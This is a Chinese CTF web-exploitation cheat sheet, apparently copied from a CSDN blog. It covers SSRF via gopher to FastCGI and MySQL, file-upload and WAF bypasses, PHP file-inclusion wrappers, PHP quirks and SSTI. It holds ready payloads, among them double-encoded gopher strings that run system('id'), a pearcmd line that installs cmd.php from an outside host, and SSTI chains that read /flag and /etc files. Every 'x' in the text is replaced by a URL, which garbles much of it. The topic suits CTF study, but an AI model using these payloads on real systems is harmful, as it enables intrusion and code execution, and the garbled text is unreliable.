生成的fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt文件的内容是接收到的payload,内容如下:

image-20210113205857913

然后对fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt文件里的payload进行url编码,这里通过如下脚本实现(脚本是我从网上白嫖的嘿嘿):

# -*- coding: UTF-8 -*-from urllib.parse import quote, unquote, urlencodefile = open('fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt','r')payload = file.read()print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

执行上面的python脚本生成如下payload:

image-20210113210102251

这里还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去:

ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findehttps://blog.csdn.net/yjprolus/article/details/x.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E

如下图所示,命令执行成功:

image-20210113211227610

使用Gopherus工具攻击

下载地址:https://github.com/tarunkant/Gopherus

该工具可以帮你生成符合Gopher协议格式的payload,以利用SSRF攻击Redis、FastCGI、MySql等内网应用。

使用Gopherus工具生成攻击FastCGI的payload:

python gopherus.py --ehttps://blog.csdn.net/yjprolus/article/details/xploit fastcgi/var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php    # 这里输入的是一个已知存在的php文件id    # 输入一个你要执行的命令

image-20201206134630782

然后还是将得到的payload进行二次url编码,将最终得到的payload放到?url=后面打过去过去:

ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

image-20210113211649519

命令执行成功。

攻击内网MySql

20210113152106.png

首先我们要先了解一下MySql数据库用户认证的过程。MySQL分为服务端和客户端。MySQL数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程。

登录时需要用服务器发来的挑战码(scramble)将密码加密,但是当数据库用户密码为空时,加密后的密文也为空。客户端给服务端发的认证包就是相对固定的了。这样就无需交互了,可以通过Gopher协议来直接发送了。

测试环境如下:

image-20210113225607672

Ubuntu服务器为WEB服务器,存在SSRF漏洞,且上面运行着MySql服务,用户名为whoami,密码为空并允许空密码登录。

下面我们还是使用Gopherus工具生成攻击Ubuntu服务器本地MySql的payload:

python gopherus.py --ehttps://blog.csdn.net/yjprolus/article/details/xploit mysqlwhoami    # 登录用的用户名show databases;    # 登录后要执行的sql语句

生成如下payload:

image-20210114004602164

将得到的paylaod进行url二次编码,然后将最终的payload内容放到?url=后面发送打过去就行了。但是我这里失败了,不知道为什么…

Ending…

推荐一个SSRF练习靶场:

  • ssrf-lab:https://github.com/fengwenhua/ssrf-lab

该靶场有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。配置请看:https://www.heibai.org/post/1287.html

20210112124413.jpg

本文多为笔者的学习总结,若有不当的地方还望各位经过的路过的大佬多多点评。

文件上传

前端JS验证

删除/禁用/修改js

抓包修改:1.jpg改为1.php

内容检查

文件头

jpeg:FF D8 FF E0 00 10 4A 46 49 46
png:89 50 4E 47
gif:47 49 46 38 39 61 (GIF89a)

getimagesize()/image_type_to_ehttps://blog.csdn.net/yjprolus/article/details/xtension()/ehttps://blog.csdn.net/yjprolus/article/details/xif_imagetype()

给上传脚本加上相应的头字节进行绕过,例如 GIF89a

黑名单

解析漏洞

apache

后缀名从右往左进行缀解析,php.yj 绕过
上传.htaccess文件绕过
AddType application/https://blog.csdn.net/yjprolus/article/details/x-httpd-php .jpg

nginhttps://blog.csdn.net/yjprolus/article/details/x

a.php%00.jpg----解析为a.php
yj.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件
上传.user.ini:auto_prepend_file=1.jpg

iis 6.0

fck编辑器
目录解析:https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.asp目录里面的文件(放个图片马)都会被当作asp文件来执行 / 文件名中含有".asp;"的会优先按asp来解析
文件名解析:https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.asp;1.jpg / 重命名文件
asa/cer证书/cdhttps://blog.csdn.net/yjprolus/article/details/x复保索引 无法使用

iis 7.0/7.5

默认fast-cgi开启情况下,在文件路径后面加上/https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.php会将原来的文件解析为php文件

nullbyte:系统自动截断

php<=5.2:a.php.jpg–bp截断–hehttps://blog.csdn.net/yjprolus/article/details/x–最后一个点:2e-改为00

ewebeditor后台可以修改白名单

常规方式

特殊文件后缀

php、php3、php4、php5、phpt、phtml

大小写/双写

windows文件流

php在windows下如果文件名+“:: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名且保持”::$DATA"之前的文件名

操作系统特性:1.jpg 空格 / 1point.jpg. / 2point.jpg…

白名单

MIME types 验证

抓包修改Content-Type

image/jpeg & image/png & image/gif &
application/octet-stream : 二进制流数据(如常见的文件下载)
multipart/form-data :文件上传
application/pdf & application/msword

图片马

Windows:copy a.jpg/b+yi.asp/a b.jpg

Linuhttps://blog.csdn.net/yjprolus/article/details/x:echo 一句话内容 > a.jpg

十六进制编辑器在其中的大片00字节处插入php代码,多用于二次渲染绕过.

截断

GET %00截断

POST 00截断(二进制修改)

其他

注意负载均衡:条件竞争!

远程下载文件绕过

文件包含

HTTP请求填充垃圾数据绕过

WAF专题

安全狗绕过

绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"将form-data;            修改为~form-data;

通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition    修改为content-Disposition将 form-data            修改为Form-data将 Content-Type         修改为content-Type

通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition: form-data          冒号后面 增加或减少一个空格将form-data; name="file";                分号后面 增加或减少一个空格将 Content-Type: application/octet-stream   冒号后面 增加一个空格

通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"将 form-data 修改为   f+orm-data将 from-data 修改为   form-d+ata

双文件上传绕过

HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"我们通过替换form-data 为*来绕过Content-Disposition: *; name="file"; filename="yjh.php"

HTTP header 属性名称绕过

源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

等效替换绕过

原内容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。

修改编码绕过

使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传

原内容:Content-Disposition: form-data; name="up_picture"; filename="https://blog.csdn.net/yjprolus/article/details/xss.php"添加回车Content-Disposition: form-data; name="up_picture"; filename="https://blog.csdn.net/yjprolus/article/details/xss.php"

百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。Content-Disposition: form-data; name="up_picture"; filename="https://blog.csdn.net/yjprolus/article/details/xss.jpg .Php"

阿里云上传绕过

源代码:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改为 Content-空格Disposition

文件包含

基础

reuqire():在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句

include() :如果出错的话,只会提出警告,会继续执行后续语句

require_once() / include_once() :如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题

利用这四个函数来包含文件时,不管文件是什么类型(图片、文本等),都会直接作为php文件进行解析

本地文件包含

字典

php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)data:tehttps://blog.csdn.net/yjprolus/article/details/xt/plain,<?php phpinfo()?>data:tehttps://blog.csdn.net/yjprolus/article/details/xt/plain;base64,PD9waHAgcGhwaW5mbygpPz4=phar://test.zip/phpinfo.thttps://blog.csdn.net/yjprolus/article/details/xtphp://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.phpphp://filter/string.rot13/resource=flag.phpphp://filter/string.toupper/resource=flag.phpphp://filter/string.tolower/resource=flag.phpphp://filter/convert.quoted-printable-encode/resource=flag.phpphp://filter/zlib.deflate|zlib.inflate/resource=flag.phpphp://input  & POST:  ``

php://input:?file=php://input & POST:

php://filter:indehttps://blog.csdn.net/yjprolus/article/details/x.php?file=php://filter/read=convert.base64-encode/resource=flag.php(read=可省略)

phar://:indehttps://blog.csdn.net/yjprolus/article/details/x.php?file=phar://test.zip/phpinfo.thttps://blog.csdn.net/yjprolus/article/details/xt(php>=5.3.0)

zip://:indehttps://blog.csdn.net/yjprolus/article/details/x.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.thttps://blog.csdn.net/yjprolus/article/details/xt(php>=5.3.0,%23为#,只能用绝对路径)

data:URI schema

indehttps://blog.csdn.net/yjprolus/article/details/x.php?file=data:tehttps://blog.csdn.net/yjprolus/article/details/xt/plain,

indehttps://blog.csdn.net/yjprolus/article/details/x.php?file=data:tehttps://blog.csdn.net/yjprolus/article/details/xt/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

包含session

常见存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

利用SESSION_UPLOAD_PROGRESS

// TODO

远程文件包含

利用方式:include.php?file=http://https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/1.thttps://blog.csdn.net/yjprolus/article/details/xt

特殊方式

包含日志文件

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。某些场景中,log的地址是被修改掉的,可以通过读取相应的配置文件后,再进行包含。

SSH log

shell连接ssh sh ''@host,密码随便输,之后包含host的ssh-log即可

包含environ

利用条件:php以cgi方式运行,这样environ才会保持UA头;environ文件存储位置已知,且environ文件可读。

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含fd

LFI Cheat Sheet (highon.coffee)

包含临时文件

php中上传文件,会创建临时文件。在linuhttps://blog.csdn.net/yjprolus/article/details/x下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linuhttps://blog.csdn.net/yjprolus/article/details/x下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

load data infile

??从一道ctf题学习mysql任意文件读取漏洞-安全客 - 安全资讯平台 (anquanke.com)

路径获取

直接获得:通过返回包获取/右键查看地址

查看源代码或者本地搭建

根据经验猜测

通用的路径:/img、/images、/upload、/uploads、/file

分析网站结构

爬虫

分析网站命名方式

上传文件保存在另外服务器上

绕过

目录遍历:…/

编码绕过

利用url编码:%2e%2e%2f = …%2f = %2e%2e/
二次编码:%252e%252e%252f = %252e%252e%255c
容器/服务器的编码方式:…%c0%af ;%c0%ae%c0%ae/ (Tomcat)

指定后缀

? / #(%23)

长度截断:重复./

利用条件: php < 5.2.8

目录字符串,在linuhttps://blog.csdn.net/yjprolus/article/details/x下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

0字节截断:?file=phpinfo.thttps://blog.csdn.net/yjprolus/article/details/xt%00

利用条件: php < 5.3.4

特殊姿势

利用include函数解 urlencode 的特性来编码绕过

包含pearcmd装马:/?include=/usr/local/lib/php/pearcmd.php&+install+http://yourhost/cmd.php

在phpinfo中如果看到register_argc_argv开放,可以获取外部的参数,以+作为分隔符

其他姿势请参考:CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)

反序列化

PHP

Java

框架

Python

其他

其他

Clickjacking(点击劫持)

HEREDOC

JSPFUCK

Web Assembly

整数溢出

Hash长度拓展攻击

代码审计(PHP)

XSS

print()

printr()

echo

printf()

sprintf()

die()

var_dump()

var_ehttps://blog.csdn.net/yjprolus/article/details/xport()

代码执行

函数

  • eval()
  • assert()
  • preg_repace()
  • create_function()
  • array_map()
  • call_user_func()
  • call_user_func_array()
  • array_filter()
  • usort()
  • uasort()

过滤与bypass

  • 利用各种函数的返回值进行拼接

  • 利用^符号异或出想要的东西

  • 利用等价表达式

    • _

      • 空格
      • .

文件包含

include()

include_once()

require()

require_once()

文件读取(下载)

file_get_contents()

highlight_file()

fopen()

readfile()

fread()

fgetss()

fgets()

parse_ini_file()

show_source()

file()

sort()比较鸡肋

命令执行

相关函数

  • system()

  • ehttps://blog.csdn.net/yjprolus/article/details/xec()

  • shell_ehttps://blog.csdn.net/yjprolus/article/details/xec()(反引号也可以)

  • passthru()

  • pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec()

  • popen()

  • proc_open()

  • create_function()

    这个是逃逸后可以命令执行

过滤与bypass

  • disable_function

    • ld_preload
    • php_gc
  • 限制命令长度

  • 限制回显长度

  • 过滤字符

    • 空格

      bash环境

      • <
      • ${IFS}
      • $IFS$9
      • %09
    • 某些函数名

    • 截断符号

      • fuzz得出没被过滤的

      • 利用base编码绕过

      • 用两个单引号

        比如命令 cat /etc/passwd

        等价于 cat /etc/pass’w’d

文件上传

move_uploaded_file()

文件删除

unlink()

session_destroy()(老版本)

变量覆盖

ehttps://blog.csdn.net/yjprolus/article/details/xtract()

parse_str

  • 无第二个参数会引起变量覆盖

import_request_variables()

for each($_GET as k e y = > key=> key=>value) KaTeX parse error: Ehttps://blog.csdn.net/yjprolus/article/details/xpected '}', got 'EOF' at end of input: {key}=$value

register_globals

弱类型比较

=、!==、!=

  • md5,sha1的==绕过

is_numeric

  • 16进制编码绕过
  • %00放在数字开头或者结尾,%20放在开头都能使函数返回false

in_array

弱不相等却md5值相等的情况

只需要利用NaN(float)和’NaN’(string)即可(INF等同理)

PHP黑魔法

md5

  • 绕过sql,md5(‘ffifdyop’,true)= 'or’6https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x

    当raw设置为true时输入 ffifdyop 可以对单引号进行闭合

    经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6\https://blog.csdn.net/yjprolus/article/details/xc9]\https://blog.csdn.net/yjprolus/article/details/x99\https://blog.csdn.net/yjprolus/article/details/xe9!r,\https://blog.csdn.net/yjprolus/article/details/xf9\https://blog.csdn.net/yjprolus/article/details/xedb\https://blog.csdn.net/yjprolus/article/details/x1c 这种。这样的话就会和前面的形成闭合,构成万能密码;

  • 弱类型绕过和强类型绕过

eval

  • 可使用分号构造出多条语句

ereg

  • 存在%00截断

strcmp

影响版本
PHP5.3 及以下

  • 无法处理数组并将return 0

ascii

  • 传进去的是字符串只会截取第一个字符进行处理

curl_setopt

  • 存在可能的SSRF

preg_replace

  • 第二个参数使用 /e模式导致代码执行

urldecode

  • url二次编码绕过

include

include函数有这么一个神奇的功能:若以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。(存疑)

__wakeup

(CVE-2016-7124)

影响版本:
· PHP before 5.6.25
· 7.https://blog.csdn.net/yjprolus/article/details/x before 7.0.10

  • 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行

open_basedir

PHP5.https://blog.csdn.net/yjprolus/article/details/x

  • 可绕过并进行任意文件读取(两种方法)

in_array()

  • 第三个参数如果设置为FALSE,就存在注入点

spl_autoload_register

  • 配合文件上传可以getshell

create_function()

  • 代码注入

file_get_contents

  • 经常用伪协议绕过

mt_rand

  • SEED相关的安全性问题

sprintf

  • 格式化字符串漏洞

parse_url

  • 可用于绕过某些过滤

preg_match

可绕过进行代码执行,见P神的文章

通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

回溯次数上限pcre.backtrack_limit相关的安全问题

%0A,%0D 参数污染相关问题

intval

  • 类型转换上限

Session绕过

删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。

file_put_contents

第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。

json_encode/decode

json_encode:将数组转换为json,只支持utf8格式的数据。json_encode 会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。

json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。

json_decode:可以当作mysql的分隔符: 空格 + \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B

几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过

举例:
md5,sha1,strpos

  • ereg
  • MD5
  • sha1
  • strpos
  • strcmp

未ehttps://blog.csdn.net/yjprolus/article/details/xit(),return()引发的相关问题

伪静态绕过

变量特性

ignore_user_abort

  • 并发漏洞

$_SERVER[‘QUERY_STRING’]

  • 不会像$_GET一样进行urldecode

disable_functions

  • 有七种做法进行绕过
  • 可以试试蚁剑的插件

反序列化漏洞

对各种魔法函数的理解

  • __wakeup() //使用unserialize时触发
  • __sleep() //使用serialize时触发
  • __destruct() //对象被销毁时触发
  • __construct()//对象创建时自动调用
  • __call() //在对象上下文中调用不可访问的方法时触发
  • __callStatic() //在静态上下文中调用不可访问的方法时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __isset() //在不可访问的属性上调用isset()或empty()触发
  • __unset() //在不可访问的属性上使用unset()时触发
  • __toString() //把类当作字符串使用时触发
  • __invoke() //当脚本尝试将对象调用为函数时触发

pop链的构造

  • 寻找位点

  • 正向构造

    切入点——__wakeup()——其他

  • 反向推理

    从flag开始推起

phar与反序列化

由于替换引起的反序列化字符串逃逸

绕过正则

if (preg_match(‘/[oc]:\d+:/i’, ‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则

逻辑漏洞

用户名和密码分开验证

下单和扣款的先后顺序

技巧相关

小型代码

  • 寻找输入点
  • 对针对输入点的过滤进行绕过
  • 在处理输入的函数中寻找漏洞
  • 进行利用

大型代码

  • 寻找危险函数
  • 向上回溯 寻找可用输入点
  • 尝试绕过过滤
  • 寻找触发漏洞的方法

脚本编写

Payloads(实战积累)

XSS

SQL注入

SSTI

Python

{{config|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fcla'~'ss\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fini'~'t\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fglob'~'als\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fgeti'~'tem\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')('o'~'s')|attr('popen')('cat /etc/h????')|attr('read')()}}?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

PHP

Java

CSRF

XXE

参考

  1. CTF中PHP相关题目考点总结(上) - FreeBuf网络安全行业门户
  2. CTF中PHP相关题目考点总结(下) - FreeBuf网络安全行业门户
  3. CTFshow web入门——php特性_小元砸的博客-CSDN博客_ctfshow web入门php特性
  4. Burp Collaborator 使用总结_aFa攻防实验室的博客-CSDN博客_burp collaborator // TODO!!
  5. ctf中php常见知识点总结 | npfs’s blog (npfs06.top)
  6. 文件解析漏洞总结 - 简书 (jianshu.com)
  7. CTF文件上传漏洞总结_Mitch311的博客-CSDN博客
  8. 文件上传各种检测绕过 - 请叫我阿毛 - 博客园 (cnblogs.com)
  9. php文件包含漏洞 | Chybeta
  10. php://filter的各种过滤器_天问_Herbert555的博客-CSDN博客_php://filter rot13
  11. CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)
  12. XSS学习思维导图_joker的暴击的博客-CSDN博客
  13. XSS总结 - 先知社区 (aliyun.com)
  14. flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
  15. CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户
  16. PYTHON SSTI的一些BYPASS - FreeBuf网络安全行业门户
  17. CSRF知识总结_zkzq的博客-CSDN博客
  18. CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户
  19. CTFSHOW]SSRF_Y4tacker的博客-CSDN博客
  20. CTF XXE - MustaphaMond - 博客园 (cnblogs.com)
  21. 利用EXCEL进行XXE攻击 - 先知社区 (aliyun.com)
  22. 绕过WAF保护的XXE - 先知社区 (aliyun.com)
  23. CTF中WEB题——RCE - tomyyyyy - 博客园 (cnblogs.com)
  24. SQL注入速查表 - FreeBuf网络安全行业门户
  25. sql注入总结 - FreeBuf网络安全行业门户
  26. sql注入总结复习 - FreeBuf网络安全行业门户
  27. CTF-PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
  28. 利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

来源地址:https://blog.csdn.net/yjprolus/article/details/122903841

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

最全CTF Web题思路总结(更新ing)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录